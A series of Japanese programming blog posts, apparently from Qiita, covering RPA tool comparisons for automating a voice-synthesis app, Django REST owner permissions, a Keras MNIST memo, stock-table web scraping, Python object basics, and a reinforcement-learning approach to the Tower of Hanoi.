id = GETID("VOICEROID2", "HwndWrapper[VoiceroidEdito", -1) If id=NULL Then id = GETID("VOICEROID2*", "HwndWrapper[VoiceroidEdito", -1) EndIf // 再生を行う SLEEP(1) SENDSTR(id, "アカネチャンカワイイヤッタ", 1, True, True) CLKITEM(id, "", CLK_BTN , True, 0) // ステータスバーをみて再生完了を待つ sts = "" While sts <> "テキストの読み上げは完了しました。" Sleep(0.1) GETITEM(id, ITM_STATUSBAR) sts = ALL_ITEM_LIST[6] Wend // 保存ボタン CLKITEM(id, "", CLK_BTN , True, 5) // 音声保存画面 idSaveWv = GETID("音声保存", "HwndWrapper[VoiceroidEdito", -1) CLKITEM(idSaveWv, "OK", CLK_BTN , True, 0) // 名前を付けて保存画面 idFileSave = GETID("名前を付けて保存", "#32770", -1) SENDSTR(idFileSave, PARAM_STR[0], 0, True, True) KBD(VK_ENTER) //CLKITEM(idFileSave, "保存", CLK_ACC) // OK押下 idInfo = GETID("情報", "#32770", -1) CLKITEM(idInfo, "OK", CLK_BTN) // 葵ちゃんに切り替え SLEEP(1) ret = CHKIMG("aoi.bmp") BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y) SLEEP(0.5) SENDSTR(id, "オネエチャンカワイイヤッタ", 1, True, True) CLKITEM(id, "", CLK_BTN , True, 0) SLEEP(0.5) CHKIMG("akane.bmp") BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y)備考
・Tabの要素は取得できませんが、画像認識により代替できます。
・レコーダ―では記録されない要素がありますが、スクリプトを書くと要素を取得できます。
・CHKIMGはBMP形式のみが対象です。
・サイト閉鎖の問題もあり今後利用するのは厳しいでしょう。
sikulixでアカネチャンカワイイヤッター
画像認識に特化したツールです。
Ruby,Python,JavaScriptで記載されたスクリプトをJavaで解析して動作します。
基本がJavaなのでMacやLinuxでも動作します。ただし1.1.4よりJavaの64ビットが要求されています。UWSC,pyAutoGuiともに画像認識は行えますが、使用する画像はあらかじめ用意する必要がありました。しかしsikulixでは、必要な際にディスクトップ全体から切り取って使用できます。
また画像のどこをクリックするかという指定もGUI上で行えます。
操作記録の機能こそないものの、直観的に作成できる貴重なツールです。
sikulixの実装
https://github.com/mima3/rpa_akanechan/tree/master/sikulix/sikulix.sikuli
import datetime import sys reload(sys) sys.setdefaultencoding('utf-8') #マルチディスプレイの場合は、1のディスプレイじゃないと動かない模様 # 茜ちゃんしゃべる click(Pattern("1558790034069.png").targetOffset(-174,-16)) type('a', Key.CTRL) type(Key.DELETE) paste(u"アカネチャンカワイイヤッタ") click(Pattern("1558790034069.png").targetOffset(-162,14)) wait(2) wait("1558790542060.png") click(Pattern("1558790034069.png").targetOffset(121,16)) # 音声保存画面 click(Pattern("1558790796902.png").targetOffset(-39,2)) # 名前を付けて保存 click(Pattern("1558790905402.png").targetOffset(-45,-35)) type('a', Key.CTRL) type(Key.DELETE) paste(datetime.datetime.now().strftime("%Y%m%d%H%M%S.wav")) type(Key.ENTER) click(Pattern("1558790905402.png").targetOffset(-41,38)) # 情報のOKボタンクリック click(Pattern("1558791076872.png").targetOffset(87,50)) # 消えるまでまつ # 時間が読めない場合はregionとってexistsで消えるまで見る wait(1) # 葵ちゃん click("1558791449664.png") click(Pattern("1558790034069.png").targetOffset(-174,-16)) type('a', Key.CTRL) type(Key.DELETE) paste(u"オネエチャンカワイイヤッタ") click(Pattern("1558790034069.png").targetOffset(-162,14)) wait(2) click("1558791495218.png")備考
・画像ファイル名になっている箇所はIDE上は画像が表示されます。またtargetOffsetについては赤い十字で表現されます。
・今回ためしたsikuliのバージョンは1.1.4で、使用しているPythonはJythonで2.7になります。また、Javaに組み込んでいるため、通常のPythonより使い勝手がわるい可能性があります。
先に紹介したpyAutoGuiとの使い分けとしてはPythonでどの程度やらせるかが、一つの基準になるでしょう。・マルチディスプレイの場合、1つめのディスプレイにないと動作しません。
・画像認識を使用しているのでウィンドウが隠れたりすると正常に動作しません。
・下記のコードは日本語を表示するためのものです。
import sys reload(sys) sys.setdefaultencoding('utf-8')Rocket Mouose Proでアカネチャンカワイイヤッター
古くからあるツールで、1万円前後で入手できます。今回は14日使える試用版で作成しました。
いままで紹介したツールと違い、スクリプトなどは記載しません。このため、単純な処理は容易に作成できますが、複雑な分岐がある場合は対応できません。
Rocket Mouose Proによる実装と解説
https://github.com/mima3/rpa_akanechan/tree/master/rmpro
Rocket Mouseでは「最初の処理」、「繰り返しの処理」、「最後の処理」の3つありますが、今回は「最初の処理」と「最後の処理」のみ使用します。
また、最後の処理につては完了メッセージを表示するだけになります。テキストと再生ボタンの画像認識を行い、認識できた場合はテキストをクリックします。
認識できなければ「最期の処理の1行目」にジャンプし処理を終了します。この処理はキーボード操作でテキストをクリアしたのち、入力したい文字を入れています。
最初の処理5行目
これは最初の処理1行目とほぼ同じで押下している箇所が違うだけです。
今回は再生ボタンをおしています。最初の処理6行目
この処理は「テキストを読み上げました」と表示されるまで無限ループをしています。最初の処理7行目
ショートカットキーで音声保存をしています。最初の処理8行目
「音声保存」というタイトルのウィンドウが表示されるまで待機します。OKボタンが表示されたらクリックする、されなければ終了としています。
最初の処理10行目
最初の処理8行目と同様に「名前を付けて保存」画面がでるまで待ちます。時刻を取得して書式を整えたあと、変数$now$に格納します。
最初の処理12~13
ファイル名に格納した変数$now$を設定後Enterを押します。
これにより名前を付けて保存ダイアログが終了します。最初の処理14~15
「情報」というウィンドウが表示されるまでまち、表示されたらEnterを押して終了します。最初の処理16~
あとは今まで出た内容と同じように、葵ちゃんを画像認識で選択後、しゃべらせています。備考
・マルチディスプレイの場合、1つめのディスプレイにないと動作しません。
・また、条件分岐の制約上エラー処理に弱いです。たとえば、画像が見つからない場合に無限ループになったりします。
UiPathでアカネチャンカワイイヤッター
2018年のforresterの調査でRPAのリーダーと言わしめた製品になっています。
https://samfundsdesign.dk/siteassets/media/downloads/pdf/the_forrester_wave_rpa_2018_uipath_rpa_leader.pdf今回の走者のなかで、唯一、数十、数百万のツールですが、実はいくつかの条件をみたすことで UiPath Community Editionを使用することができます。
https://www.uipath.com/ja/freetrial-or-community今まで見てきたオブジェクト識別機能、画像による識別機能、操作記録は当然そろっており、フローチャートによるわかりやすいインターフェイスを提供しています。これは.NETのWFを使用しており、流れ図の部品にあたるアクティビティをカスタムアクティビティとして作成できます。
https://qiita.com/UmegayaRollcake/items/c9ff9a01b101ba9193fcまた、さらには国内製品唯一のアドバンテージだった日本語のローカライズも対応されています。
さすが、リーダーを自称し、他称されるだけの機能です。UiStudioの起動
ライセンス認証をしたあとのUiPath.Studioの場所は以下になりました。
C:\Users\名前\AppData\Local\UiPath\プロジェクト
今回作成したプロジェクトのファイルは下記の通りです。
https://github.com/mima3/rpa_akanechan/tree/master/UiPathSampleシーケンスの中に「しゃべる+保存」アクティビティと「葵ちゃんに切り替え」アクティビティがあります。
しゃべる~保存アクティビティ
各UIの操作をひとつづ追加していくこともできますし、画面の操作をレコードしてあとで細かいところを修正することもできます。
変数の設定
シーケンス内で有効、アクティビティ内で有効といったスコープを極めて変数を定義できます。
設定値ではVB.NETの式が使用でき、今回は現在時刻のファイル名を構築してます。
処理の流れ
あかねちゃんに切り替えアクティビティ
UIPathでもタブの子要素になっている要素を検知することはできないので画像識別を利用します。
完走した感想
完走した感想ですが、色々と昔のツールが脱落して新規ツールが増えていきました。
まず、昔ながらのツールであるAutoHotKey,AutoIt,RocketMoude、UWSCのうち、UIAutomationでとれる内容を解析することができたのはUWSCだけでした。そしてそのUWSCもすでに命数が尽きています。
(もちろんCOMをサポートしているツールは頑張れば対応できますが、それをやるなら別の手段をとると思います。)
もはやWin32の時代でないと思うと諸行無常を感じます。また、テスト工程で使うなら、Friendlyが魅力的です。テスト対象をかえずに、テスト用に魔改造が色々できそうです。
複数OS対応ならば、画像の範囲を工夫してSikulixか、pyAutoGuiを検討することになると思います。ただし、画像認識なのでいずれにしても、確実に動作させるのは難しいでしょう。
IT活用しない縛りのレギュレーションの会社ではVBAかPowerShellでUIAutomationをたたくしかないです。
UIPathについては他の高価格帯と比較しないと意味がなさそうなので、ここでは言及しないでおきますが、たぶん触っておいて損はないと思います。
…とここまでやっておいて書くのもアレですが、VBAやPowerShellで動かすのをRPAといっていいのか、そもそもRPAって一体全体なんですか、どなたに伺えばいいんですかという話になりそうなので、そろそろ終わりとうございます。
- 投稿日:2019-05-26T22:01:45+09:00
Django REST frameworkチュートリアル その4.1
Object level permissions
前回の記事「Django REST frameworkチュートリアル その4」の続きです。
前回の記事では認証処理を実装しましたが、その課題として以下のものがありました。トークンを持っていれば他の人のユーザー情報やスニペットの中身を書き換えることができてしまいます。変更や削除などのリクエストを送った人がそのデータのオーナーなのかをチェックしたいです。
はい。ということで、リクエストを送った人が編集したいデータのオーナーであるかのチェックをしたいと思います。
permissions.py
自分でカスタムのパーミッションを作成する際には、
BasePermission
を継承してhas_object_permission()
メソッドをオーバーライドします。新規で
permissions.py
を作成して、カスタムパーミッションを実装してみましょう。snippets/permissions.pyfrom rest_framework import permissions class IsOwnerOrReadOnly(permissions.BasePermission): """ Custom permission to only allow owners of an object to edit it. """ def has_object_permission(self, request, view, obj): # Read permissions are allowed to any request, # so we'll always allow GET, HEAD or OPTIONS requests. if request.method in permissions.SAFE_METHODS: return True # Write permissions are only allowed to the owner of the snippet. return obj.owner == request.userコメントにある通り、
GET
、HEAD
、OPTIONS
メソッドなどの安全なリクエストは誰でも取得できますが、他のメソッドについては、リクエストを送った人とオブジェクトのオーナーが同じでないと認証が通りません。views.py
あとは
views.py
のpermission_classes
に上で作ったクラスを設定してあげるだけです。snippets/views.pyfrom rest_framework.response import Response from snippets.models import Snippet from snippets.serializers import SnippetSerializer, UserSerializer from snippets.permissions import IsOwnerOrReadOnly from django.contrib.auth.models import User from rest_framework import generics, permissions class SnippetList(generics.ListCreateAPIView): permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Snippet.objects.all() serializer_class = SnippetSerializer class SnippetDetail(generics.RetrieveUpdateDestroyAPIView): permission_classes = [IsOwnerOrReadOnly] queryset = Snippet.objects.all() serializer_class = SnippetSerializer class UserList(generics.ListCreateAPIView): permission_classes = [permissions.AllowAny] queryset = User.objects.all() serializer_class = UserSerializer class UserDetails(generics.RetrieveUpdateDestroyAPIView): permission_classes = [IsOwnerOrReadOnly] queryset = User.objects.all() serializer_class = UserSerializerテスト
あらかじめユーザーを2名以上作成しておきましょう。
以下のコードでそれぞれのユーザーでアクセストークンを取得します。curl -X POST -d "grant_type=password&username=<user_name>&password=<password>" -u"<client_id>:<client_secret>" http://localhost:8000/oauth2/token/そしてあるスニペットに対して2人のアクセストークンでそれぞれリクエストを送ってみてください。
curl -X PATCH -H 'Content-Type:application/json' -H "Authorization: Bearer <your_access_token>" -d '{"code":"This is modified."}' http://localhost:8000/snippets/1/そうするとスニペットのオーナーに対してはリクエストが通るのに対して、オーナーでないユーザーに対してはリクエストが拒否されるのが確認できるかと思います。
以上でオーナーのチェックは完了です。
- 投稿日:2019-05-26T21:45:12+09:00
kerasに触ってみた【備忘録】
はじめに
最近画像分析に興味を持ち、検索するとkerasというライブラリがよく出てくる。どうせならちょっと使ってみようと思い、学習後にkerasの実装をしてみた。今回はそのkerasについて学習した証跡とその備忘録として下記に使用法と成果をまとめる。
ライブラリについて、kerasは元々Theanoのラッパーであったが現在はTensorFlowをインストールするとkerasが使用できるようになった。現在の主流でもあるのでこちらの方を使用する。
(※TensorFlowとはGoogleが中心となって開発している機械学習のライブラリである。)なぜkerasを使うのか
・TensorFlowよりもシンプルに扱うことが出来る。
・モデルの定義と学習、評価が容易に実装可能である。
・業務で広く扱われている為、今後の仕事で役立つ可能性がある。
・カーネルがいくつも公開されており、実践的に学習を続けることが出来る。入門と動作確認
画像認識の入門として、MNIST(手書き数字の画像データセット)で手書き文字の予測を行った。※下記に動作確認済みのコードを記す【備忘録】
- ライブラリのインストール
import keras import pandas as pd import matplotlib.pyplot as plt from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense, Dropout, BatchNormalization, Activation from keras.optimizers import RMSprop from keras.datasets import mnist
- データの前処理
(x_train, y_train), (x_test, y_test) = mnist.load_data() x_train = x_train.reshape(60000, 784) x_test = x_test.reshape(10000, 784) x_train = x_train.astype('float32') x_test = x_test.astype('float32') x_train /= 255 x_test /= 255 y_train = keras.utils.to_categorical(y_train, num_classes) y_test = keras.utils.to_categorical(y_test, num_classes)
* 画像データの確認for i in range(6): plt.subplot(2,3, i +1) plt.title("label: " + str(i)) plt.imshow(x_train[i].reshape(28, 28)) y_train[:6]
- モデルの作成
model = Sequential() model.add(Dense(512, activation= 'relu', input_shape = (784,))) model.add(Dropout(0.2)) model.add(Dense(512,activation= 'relu')) model.add(Dropout(0.2)) model.add(Dense(10, activation = 'softmax')) model.summary() model.compile(loss='categorical_crossentropy', optimizer=RMSprop(lr=0.001), metrics=['accuracy'])
- モデルの学習
history = model.fit(x_train, y_train , batch_size = 128 , epochs = 115 , verbose = 1 , validation_data=(x_test, y_test))
- 予測の実行
※作成したモデルをkaggleのdigit_recognizerのコンペのデータを使って評価してみる。
test = pd.read_csv("test.csv") y_pred = model.predict(test) result= [0]*28000 for y, item in enumerate(y_pred): for x, name in enumerate(item): if name == 1: result[y] = x break print(result[0:12])入門と動作確認完了!
※しかし、ここまで行うとkaggleに結果を提出したくなる...
- 実際に提出してみた
import numpy as np imgid = np.array(np.arange(1,28001)).astype(int) result = pd.DataFrame(result, imgid, columns = ["Label"]) result.index.name = "ImageId" result.to_csv("result.csv")今回は少し下がったが、スコア:" 0.99757 " を記録した。
実践
もう少し深いところまで知っておきたいと思い、kaggleのaerial cactus identificationというコンペティションをやってみる中で新たな知識を吸収してみる。
''' モデル改修中 2019.6末更新 ・ 実践 ・ プラスα ・ まとめ 以上 '''
〜続く〜
- 投稿日:2019-05-26T21:02:13+09:00
Pythonで行うWebページスクレイピング
Pythonで機械学習を行おうと思った時にどうしても必要となる各種データ。それを集めるための手段の一つであるWebページからのスクレイピングを極簡単にやってみたいと思います。
1,目的
- スクレイピングについての理解を深める
- 実際のwebページからデータを取得してCSVファイルに保存する
2,スクレイピングとは?
Webページから特定のデータを抽出する技術
といっても、Webページをそのまま取得してデータベースやファイルに突っ込めば、そのままデータが得られるわけではありません。
ご存知の通り、Webページはお望みのデータだけでなく、各種タグやCSS、ものによってはJSなどが含まれており、そこから目的となるデータを取り出さなくてはなりません。
その為に必要なのが、Webページの構文解析になります。
これは読んで字のごとくなのですが、取得したWebページを解析し、任意の条件や要素を持つもののみ引っ張てくるという動作になります。3,法律的な観点
スクレイピングはWebページの内容を抜き取っていくため、当然著作権的な事柄も気にする必要があります。
プログラミング言語やアルゴリズム自体は著作権保護の対象となっていませんが、ソースコード自体は著作権保護の対象となっていることと同様に、Webページの内容自体も著作権保護の対象となります。
しかしながら、基本的に個人で機械学習の為に利用する場合は(そのWebサイトの利用規約によりますが)ほぼ問題ないと言えます。
その根拠となるのが下記の法律になります。著作権法第三十条の四
著作物は、次に掲げる場合その他の当該著作物に表現された思想又は感情を自ら享受し又は他人に享受させることを目的としない場合には、その必 要と認められる限度において、いずれの方法によるかを問わず、利用することが できる。ただし、当該著作物の種類及び用途並びに当該利用の態様に照らし著作 権者の利益を不当に害することとなる場合は、この限りでない。
一 著作物の録音、録画その他の利用に係る技術の開発又は実用化のための試験の用に供する場合
二 情報解析(多数の著作物その他の大量の情報から、当該情報を構成する言語、音、影像その他の要素に係る情報を抽出し、比較、分類その他の解析を行うことをいう。第四十七条の五第一項第二号において同じ。)の用に供する場合
三 前二号に掲げる場合のほか、著作物の表現についての人の知覚による認識を伴うことなく当該著作物を電子計算機による情報処理の過程における利用その他の利用(プログラムの著作物にあつては、当該著作物の電子計算機における実行を除く。)に供する場合因みに上記条文は2019/1/1に改正され、以前と若干条文が変わりました。詳しいことは下記の文化庁のページをご覧ください
(http://www.bunka.go.jp/seisaku/chosakuken/hokaisei/h30_hokaisei/)しかしながら、クローラーなどを用いたデータ収集では、警察等司法機関のリテラシーのなさや、対象システムの不具合などによる意図しない動作などによって面倒なことになる場合もあります。
岡崎市立中央図書館事件避けようのないこともありますが、十分に注意してデータ収集を行うようにしましょう。
4,実際にやってみる
今回はこちらから任意の会社や株の銘柄のデータを取得した後、CSVファイルにデータを保存するようにします。
4-1,環境
- python 3.6.8
- BeautifulSoup 4.7.1
- lxml 4.3.0
- urllib3 1.24.1
4-2,ソース
scraping.pyimport urllib import csv import os from bs4 import BeautifulSoup #対象のURLとcsvを保存するパスを指定 path = "filepath" url ="url" #csvファイルの書き込み準備 csv_file = open(path,'a', newline='', encoding='utf-8') csv_write = csv.writer(csv_file) #urlからhtmlを取得 html = urllib.request.urlopen(url) #構文解析 soup = BeautifulSoup(html.read(),"lxml") #構文解析したデータからtable要素でclass属性=stock_table stock_data_tableである部分を抽出 tables = soup.findAll("table", {"class":"stock_table stock_data_table"}) csv_header = [] #thead要素の中のth要素をfor文で取得していく for head in tables[0].find_all(['thead'])[0].find_all(['th']): #csv_headerに抜き出したデータを格納 csv_header.append(head.get_text()) #csvファイルに書き込み csv_write.writerow(csv_header) for table in tables: rows = table.find_all("tr") for row in rows: csv_data =[] for cell in row.find_all(['td']): csv_data.append(cell.get_text()) #余計な空白を除去 if any(csv_data): csv_write.writerow(csv_data) csv_file.close()4-3,解説
4-3-1,下準備
まずスクレイピングをする対象となるWebページがどういった形式なのかを知る必要があります。
対象の画面でCtrl+U
でソースを表示するとこのように記述されています。source.html<div class="data_contents"> <div class="data_block"> <div class="data_block_in"> <div class="table_wrap"> <table class="stock_table stock_data_table"> <thead> <tr> <th>日付</th> <th>始値</th> <th>高値</th> <th>安値</th> <th>終値</th> <th>出来高</th> <th>終値調整</th> </tr> </thead> <tbody> <tr> <td>2019-05-24</td> <td>1489</td> <td>1489</td> <td>1485</td> <td>1485</td> <td>2</td> <td>1485</td> </tr> </tbody> <tr> <td>2019-05-23</td> <td>1489</td> <td>1489</td> <td>1489</td> <td>1489</td> . . .対象となる株価のデータはtable要素のClass属性
stock_table stock_data_table
にあるようです。
全体を見ると期間ごとに複数同じtableが用意されており、そのそれぞれにthead要素の見出しとtbodyが存在します。
これを頭に入れながらプログラムを組み立てる必要があるようです。4-3-2,ライブラリ
次に下記のライブラリの使用を宣言します。
- urllib…urlを扱うライブラリ
- csv…csvファイルを扱う標準ライブラリ
- os…今回はファイルを扱うために使用する標準ライブラリ
- bs4…htmlの構文解釈ライブラリ
特にメインになるのがbs4ライブラリになります。
基本的にurllibで取得したwebページをbs4で構文解析し、csv,osを使ってファイルに書き込みます。4-3-3,ソースコード
#csvファイルの書き込み準備 csv_file = open(path,'a', newline='', encoding='utf-8') csv_write = csv.writer(csv_file) #urlからhtmlを取得 html = urllib.request.urlopen(url) #構文解析 soup = BeautifulSoup(html.read(),"lxml") #構文解析したデータからtable要素でclass属性=stock_table stock_data_tableである部分を抽出 tables = soup.findAll("table", {"class":"stock_table stock_data_table"})今回ここで一度こけたのですが、BeautifulSoupで構文解析をする際に、第二引数で渡しているのは構文解析をするためのパーサーの指定になります。
デフォルトで使えるパーサーに、html.parser
がありますが、なぜかヒットしたはずの要素が途中で切れて取得されてしまいました。
パーサーによって解析の機能自体の差や処理速度などに差があるため、適切に処理できるパーサーを選択する必要があるようです。
今回は序盤でインストールしたlxml
を使用しています。これで取り合えずは指定した条件でwebページからデータを抜き取れたのですが、さらに要素を指定していって必要な粒度まで下げます。
まずはthead
を抜き出します。csv_header = [] #thead要素の中のth要素をfor文で取得していく for head in tables[0].find_all(['thead'])[0].find_all(['th']): #csv_headerに抜き出したデータを格納 csv_header.append(head.get_text()) #csvファイルに書き込み csv_write.writerow(csv_header)次は肝心のtbody要素を抜き出していきます。
for table in tables: rows = table.find_all("tr") for row in rows: csv_data =[] for cell in row.find_all(['td']): csv_data.append(cell.get_text()) #余計な空白を除去 if any(csv_data): csv_write.writerow(csv_data) csv_file.close()以上を実行してcsvファイルを生成します。
- 投稿日:2019-05-26T20:54:18+09:00
pythonのインスタンスについて
pythonのインスタンス(instance)
(例)userの特徴を保存しておく場合
クラスを作成する(おすすめ)
以下のように名前,身長,体重,性別などをたくさんの人の情報を保持したい
""" 正しい書き方 """ class User: def __init__(self, name, height): self.name = name self.height = heightインスタンスを生成する
mainで以下のように呼び出す事でインスタンス(instance)を生成できる
これはuser1というinstance(例という意味)を生成しているuser1 = User #とりあえずインスタンスを生成 user1.name = "hoge" #後からname,heightを代入 user1.height = "foo" user1 = User("hoge","foo") #あらかじめ代入可能initを定義しているので
user1 = User("tarou","175") user2 = User("hanako","140")のように複数のインスタンスを作成する事ができる!!
クラスを生成する(微妙)
""" あんまり良くない書き方 """ class User: name = "hoge" height ="foo"上記のように書くと
user1 = User user2 = Userのように複数のインスタンスを生成した場合,変数を同期してしまう
つまり以下のようにuser1とuser2の名前の設定をしたのに
user1.name = "tarou" user2.name = "hanako"出力すると
print(user1.name) >> hanakohanakoが出力されてしまう
インスタンスやクラスを知ると便利なことが多いので基礎的な事に注意したい
- 投稿日:2019-05-26T19:59:17+09:00
pythonをストレスなく使う!(Pythonでは、すべてがオブジェクトとして実装されている)
目的
pythonをストレスなく使う!
そのためには、少しでも、理解のレベルを上げる必要あり。
なんでも、こだわって、、、、理解を深める。Pythonでは、すべてがオブジェクトとして実装されている
このタイトルを体現する。
その前に、念のため、書籍引用
(出典:「入門 Python3」オライリー・ジャパン)
Pythonでは、すべて(ブール値、整数、浮動小数点、文字列、もっと大きなデータ構造、関数、プログラム)がオブジェクトとして実装されている。
(出典:「introducing Python」 O'Reilly Media,Inc)
In Python, everything--booleans, integers, floats, strings, even large data structures, functions, and programs--is implemented as an object.
dir関数は、使えるメソッドが確認できる。
オブジェクトなら、、、、'Cat'や7や7.7もオブジェクトでしょう。
オブジェクトなら、メソッドもってるでしょう。
何ができるかdirで確認して、、、、さーーーーっ!
>>> dir('Cat') ['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] >>> 'Cat'.swapcase() 'cAT' >>> >>> >>> dir(7.7) ['__abs__', '__add__', '__bool__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getformat__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__int__', '__le__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__pos__', '__pow__', '__radd__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rmod__', '__rmul__', '__round__', '__rpow__', '__rsub__', '__rtruediv__', '__set_format__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', 'as_integer_ratio', 'conjugate', 'fromhex', 'hex', 'imag', 'is_integer', 'real'] >>> 7.7.real 7.7 >>> 7.7.is_integer() False >>> >>> >>> dir(7) ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__init_subclass__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] >>> 7.real File "<stdin>", line 1 7.real ^ SyntaxError: invalid syntax >>>'Cat'も7.7も、以下の抜粋のとおり、オブジェクトらしい動きをしている。
満足です!
7は、SyntaxErrorだけど。。。。これは、大人の事情でしょう(笑 ★↓)
※ご指摘頂きました。「7.」が小数として扱われるとのこと。そうだと、SyntaxErrorですね。Pythonが正しい。→→空白や()で回避できます(と教えて頂きました。)>>> 'Cat'.swapcase() 'cAT'>>> 7.7.is_integer() Falseまとめ
『Pythonでは、すべてがオブジェクトとして実装されている』が、体感できた。
関連(本人)
今後
Python、学ぶぞーーーー。
コメントなどあれば、お願いします。
- 投稿日:2019-05-26T19:36:36+09:00
ハノイの塔を強化学習で解いてみた
強化学習はゲームやパズルを解く機械学習の手法であり、既に多くの方が強化学習の記事を書いていますが、まだ誰も記事にしていないものを題材にして強化学習をやりたいというモチベーションで本記事を作成しました。
ハノイの塔は非常に有名で簡単なパズルですが、強化学習で解く例を紹介しようと思います。
※記事中、強化学習の用語を太字で強調しています。
※本記事のソースコードをGitHub上に公開しています。
→https://github.com/akih1992/qiita/blob/master/rl/TowerOfHanoi_QLearning.pyハノイの塔
ハノイの塔とは、3本のポールと大きさが異なる複数枚の穴空き円盤を用いたパズルゲームです。1本のポールにすべての円盤が積み上がっている状態からスタートし、円盤を動かしながら他のポールに円盤を積み上げていきます。下図は、ハノイの塔のルールを示したものです。
詳細はWikipediaの記事1などを参照ください。
ハノイの塔は再帰的アルゴリズムによって解くことができるため、プログラミングの題材によく用いられるそうです。また、円盤が$n$枚のハノイの塔を解く最短手数は$2^n-1$であることが知られています。強化学習
強化学習は機械学習の一種で、パズル・ゲームなどにおける意思決定方法を学習する手法です。パズル・ゲームを強化学習で解くための土台を環境といい、環境の中で現在の状態をもとに行動を選択する者をエージェントといいます。強化学習では、エージェントの行動に報酬が与えられ、エージェントは報酬を最も多く獲得できる行動を学習します。
※強化学習の詳細を知りたい方はこれらの記事234が参考になると思います。実装
強化学習を行うためには、ハノイの塔を動かす環境と、最適行動を学習するエージェントの実装が必要です。
環境の実装
まず、エージェントの行動の選択肢を定義します。今回、ポールの組を行動の選択肢とし、一方のポールからもう一方のポールへ円盤を移動させることで状態遷移を行うことにします。円盤の移動はハノイの塔のルールに従って行い、円盤が1枚もないポール同士を選んだ場合は円盤の移動は行われません。このとき、行動の選択肢は3個になり、行動indexとポールの組の対応は下表のようになります。
行動index ポールの組 0 ポール0とポール1 1 ポール1とポール2 2 ポール2とポール0 また、行動選択と状態遷移のイメージは下図のようになります。
この環境を以下のように実装しました。
global MAX_DISK_SIZE MAX_DISK_SIZE = 1000 class Pole(list): @property def top_disk(self): if not bool(self): return MAX_DISK_SIZE else: return self[-1] def __eq__(self, other): return bool(self.top_disk == other.top_disk) def __gt__(self, other): return bool(self.top_disk > other.top_disk) def __lt__(self, other): return bool(self.top_disk < other.top_disk) def __ne__(self, other): return not self.__eq__(other) def __le__(self, other): return not self.__gt__(other) def __ge__(self, other): return not self.__lt__(other) class TowerOfHanoiEnvironment(object): def __init__(self, n_disks, max_episode_steps=200): self.n_disks = n_disks self.n_actions = 3 self.max_episode_steps = max_episode_steps def reset(self): self.pole = [Pole() for i in range(3)] for d in reversed(range(self.n_disks)): self.pole[0].append(d) self.curr_step = 0 return self.state def step(self, action): self.curr_step += 1 if action == 0: self.move_disk(0, 1) elif action == 1: self.move_disk(1, 2) elif action == 2: self.move_disk(2, 0) is_terminal = False reward = -1 if (len(self.pole[1]) == self.n_disks) or (len(self.pole[2]) == self.n_disks): is_terminal = True reward = 1 elif self.curr_step == self.max_episode_steps: is_terminal = True return self.state, reward, is_terminal @property def state(self): state = [] for i in range(3): state += [bool(j in self.pole[i]) for j in range(self.n_disks)] return np.array(state, dtype=np.float32) def move_disk(self, a, b): if self.pole[a] > self.pole[b]: self.pole[a].append(self.pole[b].pop()) elif self.pole[a] < self.pole[b]: self.pole[b].append(self.pole[a].pop()) def render(self): print('pole0:{}'.format(self.pole[0])) print('pole1:{}'.format(self.pole[1])) print('pole2:{}'.format(self.pole[2]))Poleはポールを表すクラスです。円盤の出入りはLIFOなので、listを継承してappend()とpop()を用いることにします。円盤をint型で表し、数値の大きさを円盤の大きさとみなします。
Poleクラスでは、一番上の円盤を表すプロパティtop_diskを実装し、top_diskの大きさを用いてPole同士の大小比較を行うように特殊メソッド(__eq__()など)をオーバーライドしています。これは、環境クラス内の状態遷移の記述を容易にするためです。TowerOfHanoiEnvironmentが環境を表すクラスになります。OpenAI gym5のEnvironmentクラスに倣って実装しました。n_disksは円盤の数、max_episode_stepsはエピソードを打ち切るステップ数、poleは3本のポールを保持するリストです。
状態を各ポールが各円盤を持っているかどうかをバイナリ値で表現したベクトルと定義し、stateプロパティで実装しています。(例えば、円盤の数が3枚のとき状態は9次元のベクトルになり、pole[0]に全ての円盤が積み上げられている初期状態の状態ベクトルは$(1, 1, 1, 0, 0, 0, 0, 0, 0)$になります。)
